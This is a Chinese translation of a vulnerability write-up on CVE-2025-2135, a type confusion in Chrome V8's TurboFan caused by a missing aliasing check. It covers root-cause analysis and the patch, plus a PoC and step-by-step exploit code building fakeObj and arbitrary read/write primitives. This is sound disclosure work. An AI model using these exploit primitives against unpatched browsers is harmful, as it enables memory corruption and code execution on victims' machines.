本文分析了 Chrome V8 引擎中编号为 CVE-2025-2135 的高危漏洞。该漏洞源于 TurboFan 编译器的 InferMapsUnsafe 函数在处理别名时存在缺陷,导致 Map 推断错误。攻击者可利用此漏洞在数组间触发类型混淆,进而实现 V8 沙箱内的任意内存读写和远程代码执行。
我们在 Chrome 的 V8 引擎中发现了一个类型混淆(type-confusion)漏洞,可被利用来实现远程代码执行。该漏洞被分配为 CVE-2025-2135,我们成功地利用它作为零日漏洞(zero-day)攻破了 Google 的 V8CTF。
根本原因在于 TurboFan 的 InferMapsUnsafe() 函数在处理新引入的 TransitionElementsKindOrCheckMap 节点时,未能处理别名(aliasing)问题。这允许攻击者触发对象数组和 double 数组之间的类型混淆,从而导致在 V8 沙箱内进行任意内存读/写。
在这篇文章中,我们将详细分析该漏洞的根本原因,展示一个概念验证(PoC),详述逐步利用过程,并检查 Google 如何修复该漏洞。
在此处查看完整的 CVE-2025-2135 漏洞报告 here↗。
在深入研究该漏洞之前,让我们先介绍一些关于 V8(Chrome 的 JavaScript 引擎)的基础概念。如果你已经熟悉 V8 的内部原理,可以跳过直接进入 根本原因分析。
V8 是驱动 Google Chrome 和 Node.js 的 JavaScript 引擎。它的主要工作是尽可能高效地解析和执行 JavaScript。为了实现接近原生的性能,V8 使用了多层执行流水线:代码从名为 Ignition 的解释器开始,随着函数被反复调用,热点代码路径会被逐步提升到更积极的即时(JIT)编译器,这些编译器会生成优化的机器码。

TurboFan 是 V8 最积极的优化编译器。它从解释器收集运行时类型反馈,例如这个变量一直是一个整数或这个数组一直包含 double,并利用这些观察结果生成高度特化的机器码。当假设成立时,这种推测性优化可以提供出色的性能,但如果假设在运行时被违反,V8 必须进行去优化(deoptimize)并退回到解释器。
当编译器做出了错误的假设但未能去优化时,漏洞就会出现。生成的机器码随后会以错误的类型操作数据,导致类型混淆。
JavaScript 是动态类型的,这意味着对象可以随时添加或删除属性。为了在尽管有这种灵活性的情况下优化属性访问,V8 为每个对象分配一个 Map(在其他引擎中也称为隐藏类或形状)。Map 描述了对象的布局:它有哪些属性、它们的类型以及它们在内存中的存储位置。
// 这两个对象共享同一个 Map (相同的结构)
let a = { x: 1, y: 2 };
let b = { x: 3, y: 4 };
// 添加一个属性会将 'a' 转换到一个新的 Map
a.z = 5; // 'a' 和 'b' 现在拥有不同的 Map
当两个对象共享同一个 Map 时,V8 可以在固定的内存偏移处访问它们的属性,而不是执行昂贵的字典查找。JIT 编译器插入 Map 检查,以在执行优化代码之前验证对象是否具有预期的布局。如果检查失败,执行将进行去优化。
ElementsKind除了对象属性,V8 还通过一个名为 ElementsKind 的系统跟踪数组中存储的值的类型。V8 不使用单一的通用表示,而是根据元素类型对数组存储进行特化。仅包含小整数(small integers)的数组被分类为 PACKED_SMI_ELEMENTS,并存储为标记整数(tagged integers),这是内存效率最高的布局。当引入浮点数时,数组会转换为 PACKED_DOUBLE_ELEMENTS,其中值存储为原始的、非装箱的 64 位 double。如果存储了任意 JavaScript 对象,它会进一步转换为 PACKED_ELEMENTS,其中值存储为标记指针(tagged pointers)。

这些转换是不可逆的。一旦数组通过存储浮点数从 SMI 移动到 DOUBLE,或者通过存储对象从 DOUBLE 移动到 ELEMENTS,它就永远不会转换回去。每个 ElementsKind 都对应一个不同的 Map,JIT 编译器为每个变体生成特化的机器码。
这些不同的存储格式之所以重要,归结为 V8 如何在内存中表示值。V8 使用一种称为指针标记(pointer tagging)的技术在运行时区分值类型。在 64 位系统上使用 V8 的指针压缩时,PACKED_ELEMENTS 数组中的每个值槽宽度为 32 位,最低位用作标记:如果为 0,则该值是一个小整数(Smi),实际数值向左移动一位;如果为 1,则该值是一个指向堆对象的压缩指针。相比之下,PACKED_DOUBLE_ELEMENTS 数组存储原始的 IEEE 754 64 位浮点值,完全没有标记,每个值占据一个完整的 64 位槽。因此,内存中相同的位模式根据执行代码假设的 ElementsKind 的不同,具有完全不同的含义。

这种区别对于安全至关重要。如果编译器认为一个数组是 PACKED_DOUBLE_ELEMENTS,但该数组实际上持有标记对象指针,那么读取操作会将两个相邻的 32 位标记值重新解释为一个单一的 64 位 float,从而泄露指针信息。反之,写入操作会将原始的 64 位 double 注入到 V8 稍后视为标记指针的槽中,从而允许攻击者伪造任意对象引用。这就是类型混淆,也正是我们在本文中利用的这类漏洞。
在 JIT 编译期间,V8 将 JavaScript 转换为一种称为 Sea of Nodes 的中间表示(IR)。如果你熟悉 LLVM 的 SelectionDAG↗,Sea of Nodes 是一个类似的概念。与在基本块内按顺序排列指令的传统控制流图不同,Sea of Nodes 将程序表示为一个图,其中每个节点都是一个单一的操作。节点之间的边编码了三种依赖关系:
add 节点具有指向其两个操作数 x 和 1 的值边。这些是你在任何数据流图中都能找到的数据流依赖关系。if (x > 0) 这样的条件语句会生成通往其 true 和 false 分支的控制边。为了具体说明效果边,考虑以下表达式:
obj[x] = obj[x] + 1;
属性加载必须发生在加法之前,而加法必须在存储之前。效果边强制执行这种顺序,形成一个链:JSLoadNamed → SpeculativeSafeIntegerAdd → JSStoreNamed(中间有一个用于去优化的 Checkpoint 节点)。以下 Turbolizer 截图展示了实践中的这种效果链(虚线表示效果边):
![Effect chain for obj[x] = obj[x] + 1](https://blog-cdn.zellic.io/blog/assets/images/doar-e-effects-b58ce546f39617738f69476ecb346dc5.png)
图:obj[x] = obj[x] + 1 的效果链 [1]
效果边形成一个链,记录了所有产生副作用的操作的顺序。当 TurboFan 确定一个对象在程序中给定点具有什么 Map 时,它会沿着这个效果链向后回溯,寻找约束该对象 Map 的见证节点,例如 CheckMaps 节点或 ElementsKind 转换节点。对于熟悉符号执行的人来说,在 TurboFan 中遍历一个见证节点类似于跨越一个对应于添加求解器约束的类型断言。一旦回溯找到 CheckMaps(Map A),编译器就会断言该对象在该点的 Map 正好是 Map A,从而消除所有其他可能性。当然,这只是一个类比。
然而,如果回溯在找到见证节点之前通过了具有潜在副作用的节点(如函数调用),则推断出的 Map 被认为是不可靠的,因为副作用可能已经改变了对象的 Map。这种向后遍历是由一个名为 InferMapsUnsafe() 的函数执行的,而本文中的漏洞最终就存在于该函数中。

效果链总是线性的吗?
在直线代码中,是的。每个产生副作用的节点正好有一个效果输入和一个效果输出,形成一个线性链。代码通过 DCHECK_EQ(1, effect->op()->EffectInputCount()) 确认了这一点。
但在控制流合并点,效果链不是线性的。V8 使用 EffectPhi 节点来合并多个效果链(每个分支一个)。查看 node-properties.cc 中的 InferMapsUnsafe(),以下是它的处理方式:
Merge 控制的 EffectPhi):它放弃并返回 kNoMaps(无法推断,因为每个分支上的 Map 可能不同)。Loop 控制的 EffectPhi):它遵循循环的入口边(效果输入 0,即循环外部)并继续向后回溯,但将结果标记为 kUnreliableMaps,因为循环体可能已经更改了 Map。kNoMaps。所以 InferMapsUnsafe() 能够向后回溯,正是因为它只沿着单一的线性链行走。一旦它遇到 EffectPhi(链合并的地方),它要么完全退出,要么采取保守路径。
要理解这个漏洞,我们首先需要检查 TurboFan 的 JIT 编译流水线。下图说明了 JavaScript 代码在成为机器码之前如何流经各种优化阶段。

正如在 背景 部分所介绍的,TurboFan 在 Sea of Nodes IR 上运行,并遍历效果链以推断对象 Map。TurboFan 优化器在此图表示上执行一系列积极的优化。在 JSNativeContextSpecialization 阶段,编译器利用运行时反馈(ElementAccessFeedback)来缩小元素访问操作的类型范围。
在处理数组和类数组对象的读写时,优化器首先检查访问点是否为单态(monomorphic),这意味着反馈表明所有观察到的访问都共享相同的元素布局。
当访问是单态的(access_infos.size() == 1)时,TurboFan 会检查接收者(receiver)是否需要进行 ElementsKind 转换。单态访问意味着后续优化取决于稳定、可预测的元素布局。如果接收者尚未处于目标布局中,TurboFan 会在 IR 中显式插入一个转换节点,以确保下游优化具有一致的类型假设。
相关代码如下所示:
// src/compiler/js-native-context-specialization.cc
Reduction JSNativeContextSpecialization::ReduceElementAccess(
Node* node, Node* index, Node* value,
ElementAccessFeedback const& feedback) {
...
// 检查单态情况。
PropertyAccessBuilder access_builder(jsgraph(), broker());
if (access_infos.size() == 1) {
ElementAccessInfo access_info = access_infos.front();
if (!access_info.transition_sources().empty()) {
DCHECK_EQ(access_info.lookup_start_object_maps().size(), 1);
// 执行可能的元素类型转换。
MapRef transition_target = access_info.lookup_start_object_maps().front();
ZoneRefSet<Map> sources(access_info.transition_sources().begin(),
access_info.transition_sources().end(),
graph()->zone());
effect = graph()->NewNode(simplified()->TransitionElementsKindOrCheckMap(
ElementsTransitionWithMultipleSources(
sources, transition_target)),
receiver, effect, control);
} else {
// 在 {receiver} 上执行 map 检查。
access_builder.BuildCheckMaps(receiver, &effect, control,
access_info.lookup_start_object_maps());
}
// 访问实际元素。
ValueEffectControl continuation =
BuildElementAccess(receiver, index, value, effect, control, context,
access_info, feedback.keyed_mode());
value = continuation.value();
effect = continuation.effect();
control = continuation.control();
} else {
...
}
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
当反馈表明接收者可能源自多个 ElementsKind 源(例如,某些对象仍为 PACKED_SMI_ELEMENTS,而目标布局为 PACKED_ELEMENTS)时,TurboFan 将所有源 Map 封装到 ZoneRefSet<Map> 中,并构造一个 ElementsTransitionWithMultipleSources 结构。然后,它生成一个具有两个语义分支的 TransitionElementsKindOrCheckMap IR 节点:
ElementsKind 转换。通过该节点,访问路径上的元素布局被强制收敛到统一的 Map,为后续优化建立了稳定的基础。
在 JSNativeContextSpecialization 阶段之后,TurboFan 尝试在当前效果状态下推断接收者的实际 Map。这项工作由 NodeProperties::InferMapsUnsafe() 执行,它会向上遍历效果链,寻找约束接收者 Map 的见证节点,如 CheckMap、Allocate 或 TransitionElementsKindOrCheckMap。
为了描述推断结果的可靠性,V8 定义了以下枚举:
// 向上遍历 {effect} 链,以找到提供有关 {receiver} 的 map
// 信息的见证节点。可以查找具有潜在副作用的节点。
enum InferMapsResult {
kNoMaps, // 未推断出 map。
kReliableMaps, // map 可以被信任。
kUnreliableMaps // map 可能已更改(副作用)。
};
此枚举决定了优化器是否可以依赖推断出的 Map。
kNoMaps —— 未找到提供 Map 信息的节点;优化器不能使用依赖于 Map 的优化路径。kReliableMaps —— 找到了足够强大的见证节点(如 CheckMap 或 ElementsKind 转换),表明接收者在该节点之后具有唯一且可靠的 Map。kUnreliableMaps —— 遍历通过了具有潜在副作用的节点,这些副作用可能会改变接收者的 Map;虽然推断出了 Map,但不能完全信任它。以下是处理 TransitionElementsKindOrCheckMap 的 InferMapsUnsafe() 关键片段:
// static
NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Effect effect,
ZoneRefSet<Map>* maps_out) {
...
InferMapsResult result = kReliableMaps;
while (true) {
switch (effect->opcode()) {
...
case IrOpcode::kTransitionElementsKindOrCheckMap: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_out = ZoneRefSet<Map>{
ElementsTransitionWithMultipleSourcesOf(effect->op()).target()};
return result;
}
break;
}
...
}
// 一旦我们在 {effect} 链中命中 {receiver} 的定义,就停止遍历。
if (IsSame(receiver, effect)) return kNoMaps;
// 继续下一个 {effect}。
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
预期的逻辑是,当转换节点操作接收者本身时,接收者的 Map 已被强制转换到唯一的目标 Map,因此可以立即返回 kReliableMaps。当目标对象是明确且唯一的时候,这种检查是安全的。
该漏洞源于此逻辑中完全缺乏别名检查。下图说明了有问题的代码路径。

如图所示,IsSame(receiver, object) 检查两个节点是否解析为同一个 IR 节点,并跳过 CheckHeapObject 和 TypeGuard 包装器。然而,在 Sea of Nodes 模型中,两个结构上不同的 IR 节点(例如,代表不同函数参数的两个截然不同的 Parameter 节点)在运行时可能引用同一个底层的 HeapObject。这意味着即使条件为 false,receiver 和 object 仍可能互为别名,指向同一个对象。
让我们再看看代码。如果 IsSame 为 false 会发生什么?
InferMapsResult result = kReliableMaps;
while (true) {
switch (effect->opcode()) {
...
case IrOpcode::kTransitionElementsKindOrCheckMap: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) { // <--- 如果 IsSame 为 false 会发生什么?
*maps_out = ZoneRefSet<Map>{
ElementsTransitionWithMultipleSourcesOf(effect->op()).target()};
return result;
}
break;
}
...
}
...
}
当前的 result 将继续在循环中传递,最终可能返回 kReliableMaps。这并不一定是有效的:我们可能已经通过了一个影响 receiver 的 TransitionElementsKindOrCheckMap 节点(虽然 object 和 receiver 是不同的指针,但引用的是同一个 HeapObject)。
在发生别名时,会发生以下情况:
object 的 ElementsKind 已经在转换节点处发生了转换。receiver 和 object 可能是别名,此转换也会影响 receiver。然而,当 IsSame(receiver, object) == false 时,InferMapsUnsafe() 会跳过这种情况,不将其视为影响接收者 Map 的见证节点。kReliableMaps,而不是更安全的 kUnreliableMaps。优化器随后根据“接收者的 Map 是稳定的”这一错误假设执行类型特化,而实际的对象布局已经发生了转换。生成的机器码会以错误的布局解释该对象,最终导致类型混淆。
总之,缺少的别名检查导致 InferMapsUnsafe() 错误地评估了 Map 的可靠性,从而引导优化器基于已失效的类型假设生成不安全的代码。这就是该漏洞的根本原因。
以下概念验证(POC)以最简方式复现了上述类型推断漏洞:
function main() {
function f0(v2, v3) {
// 这些元素访问收集类型反馈。在优化期间,
// TurboFan 根据此反馈插入 TransitionElementsKindOrCheckMap 节点。
var v4 = v3[0]; // 根本原因图中的节点 B (v3)
var v5 = v2[0]; // 根本原因图中的节点 A (v2, 接收者)
// indexOf 是效果链中的一个 Call 节点 (副作用)。
Array.prototype.indexOf.call(v3);
}
%PrepareFunctionForOptimization(f0);
var v0 = new Array(1);
v0[0] = 'tagged';
// 第一次调用:v2=v0 (HOLEY_ELEMENTS), v3=[1] (PACKED_SMI_ELEMENTS)
// 这为元素访问收集单态类型反馈。
f0(v0, [1]);
var v1 = new Array(1);
v1[0] = 0.1;
%OptimizeFunctionOnNextCall(f0);
// 第二次调用:v2 和 v3 都是 v1 (HOLEY_DOUBLE_ELEMENTS)。
// 在 IR 中,v2 和 v3 是不同的 Parameter 节点 (节点 A 和节点 B),
// 但在运行时它们引用同一个 HeapObject。
f0(v1, v1);
}
main();
main();
// 标志:--allow-natives-syntax
此 POC 的核心目的是让 TurboFan 在优化 f0 期间形成一套稳定但错误的类型假设。第一次调用为数组访问提供了单态反馈,而第二次调用使用了完全不同的 ElementsKind,迫使优化器依赖于之前分析过的 Map 推断逻辑。正是由于在推断阶段缺乏对参数的别名检查,InferMapsUnsafe() 错误地判定当前数组的 Map 是可靠的,从而沿着错误的类型路径继续进行优化。
在 d8 的调试版本上运行此 POC 可以确认类型混淆。运行时预期是一个 FixedDoubleArray(因为 JIT 编译的代码假设是 double 元素),但实际上遇到了一个 FixedArray(对象元素):
## Fatal error in ../../src/objects/object-type.cc, line 82
## Type cast failed in CAST(elements) at ../../src/builtins/builtins-array-gen.cc:1353
Expected FixedDoubleArray but found 0x32ae00288a31: [FixedArray]
- map: 0x32ae00000565 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x32ae00288a3d <HeapNumber 0.1>
根据根本原因分析,该问题并非源于 indexOf 本身,而是源于编译器对 v3 错误的类型推断,导致了类型混淆。这种错误的类型信息允许攻击者触发一系列异常行为,最终在 V8 沙箱内实现任意内存读/写。
让我们逐步了解利用过程。
第 1 步:触发类型混淆以获得 fakeObj 原语。
下图展示了当编译器误解数组元素类型时,类型混淆是如何表现的。

当编译器错误地将 v3 推断为 double 数组时,我们可以通过将 indexOf 替换为 push 来利用这一点。push 操作直接将一个 8 字节的 double 值写入元素存储区,但由于 v3 实际上是一个对象数组,该 double 数据会被 V8 解释为对象指针。
function f0(v2, v3) {
var v4 = v3[0];
var v5 = v2[0];
// 由于别名问题,v3 被错误地推断为 double 数组
// 这里的 push 写入一个精心构造的 double,它将被解释为对象指针
Array.prototype.push.call(v3, 4.950618252845e-311);
}
通过精心构造这个 double 值使其指向我们控制的内存区域,我们就获得了经典的 fakeObj 原语,允许我们将任意内存地址伪装成合法的 JavaScript 对象。
第 2 步:伪造数组的堆布局。
我们在内存中仔细布置一个伪造的 JSArray 结构。关键字段是 map、properties、elements 和 length:
// 布局:map | properties | elements | length
// 0x00189c39 0x00000745 0x000495bd 0x00000466
fake_arr_buf = [\
3.9490349638436e-311, 2.3893674090823e-311,\
1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1\
];
helper.mark_sweep_gc(); // 稳定堆布局
第 3 步:触发并检索伪造对象。
在通过别名参数触发漏洞后,我们检索我们的伪造数组对象。回想一下在第 1 步中,类型混淆的 push 将一个精心构造的 8 字节 double 写入了 v1 的后备存储(backing store)。因为 v1 实际上是一个对象数组,V8 在读回它们时会将这些字节解释为标记指针。该 double 被精心构造,以便它可以解码为一个指向 fake_arr_buf 后备存储的压缩指针,正好位于伪造的 JSArray 结构所在的位置。因为每个 double 元素占用 8 个字节,而每个标记指针槽仅为 4 个字节,所以单个推送的 double 跨越了两个对象数组槽;读取 v1[2] 会检索上半部分,即指向我们伪造数组的伪造指针:
f0(v1, v1); // v1 同时作为 v2 和 v3 传入,触发别名问题
v1[5] = 0.1; // 确保数组处于预期状态
fake_arr = v1[2]; // 构造的 double 现在被解释为指向我们伪造的 JSArray 的指针
第 4 步:构造任意读/写原语。
有了伪造数组,我们可以控制其 elements 指针来实现任意内存访问。通过将 elements 指向任何地址,随后的数组访问将读取或写入该位置:
function arbRead(where) {
fake_arr_buf[1] = helper.pair_i32_to_f64(where - 8, 0x60000);
return helper.f64toi64(fake_arr[0]);
}
function arbWrite(where, what) {
fake_arr_buf[1] = helper.pair_i32_to_f64(where - 8, 0x60000);
fake_arr[0] = helper.i64tof64(what);
}
第 5 步:利用漏洞。
最后,我们通过修改受害者数组的长度字段来演示任意写入能力:
var victim_array = [1.1, 1.2];
console.log("Before: " + victim_array.length); // 2
arbWrite(0x4017d + 1 + 0xc, 0x2333n);
console.log("After: " + victim_array.length); // 0x2333
至此,我们在 V8 沙箱内拥有了完整的任意内存读/写权限,为代码执行和沙箱逃逸奠定了基础。
我们在 Google 的 V8CTF 计划↗ 中成功利用了这一漏洞,并在 2025 年 3 月 6 日实现了一次确认的零日漏洞提交。

修复方法非常直接。在 InferMapsUnsafe() 中,当遇到 TransitionElementsKindOrCheckMap 节点且目标对象不是与接收者相同的节点时,在继续效果链遍历之前设置 result = kUnreliableMaps。这承认了这两个节点在运行时可能互为别名,因此 Map 推断不可信。
case IrOpcode::kTransitionElementsKindOrCheckMap: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_out = ZoneRefSet<Map>{...};
return result;
}
// 修复:当接收者和对象可能互为别名时,标记为不可靠
result = kUnreliableMaps;
break;
}
该漏洞是由提交 b8d3f7d0cf↗ 引入的,该提交添加了 TransitionElementsKindOrCheckMap IR 节点以优化 Map 加载。这种模式似曾相识;为了性能收益引入了新的 IR 节点,但在 InferMapsUnsafe() 中未充分考虑其副作用,导致了类型混淆。
这已经不是第一次了。CVE-2020-6418 在 JSCreate 节点上也存在同样的问题。更广泛地说,CVE-2020-16009 和 CVE-2021-30632 表明 V8 的 Map 跟踪机制仍然是一个反复出现的攻击面。每当有新的优化落地时,Map 推断逻辑都有可能跟不上节奏。
有趣的是,当我们第一次通过模糊测试(fuzzing)发现这个漏洞时,我们还没有进行任何根本原因分析。我们凭直觉将 indexOf 替换为 push,就这样,我们就得到了一个可运行的 fakeObj 原语。V8 类型混淆正变得如此公式化,以至于利用它们感觉就像肌肉记忆。
Zellic 专注于保障新兴技术的安全。我们的安全研究人员发现了最有价值目标中的漏洞,从财富 500 强到 DeFi 巨头。
开发者、创始人和投资者信任我们的安全评估,以便快速、自信地交付产品,且不含关键漏洞。凭借我们在真实世界攻击性安全研究方面的背景,我们能发现他人遗漏的问题。
联系我们↗ 进行优于他人的审计。真正的审计,而非橡皮图章。
[1] Jeremy Fetiveau, “Introduction to TurboFan,” doar-e.github.io, 2019. https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/↗
[2] Alex Maclean and Justin Fargnoli, “A Beginner’s Guide to SelectionDAG,” LLVM Dev Meeting, 2024. https://llvm.org/devmtg/2024-10/slides/tutorial/MacLean-Fargnoli-ABeginnersGuide-to-SelectionDAG.pdf↗
- 原文链接: zellic.io/blog/pwning-v8...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!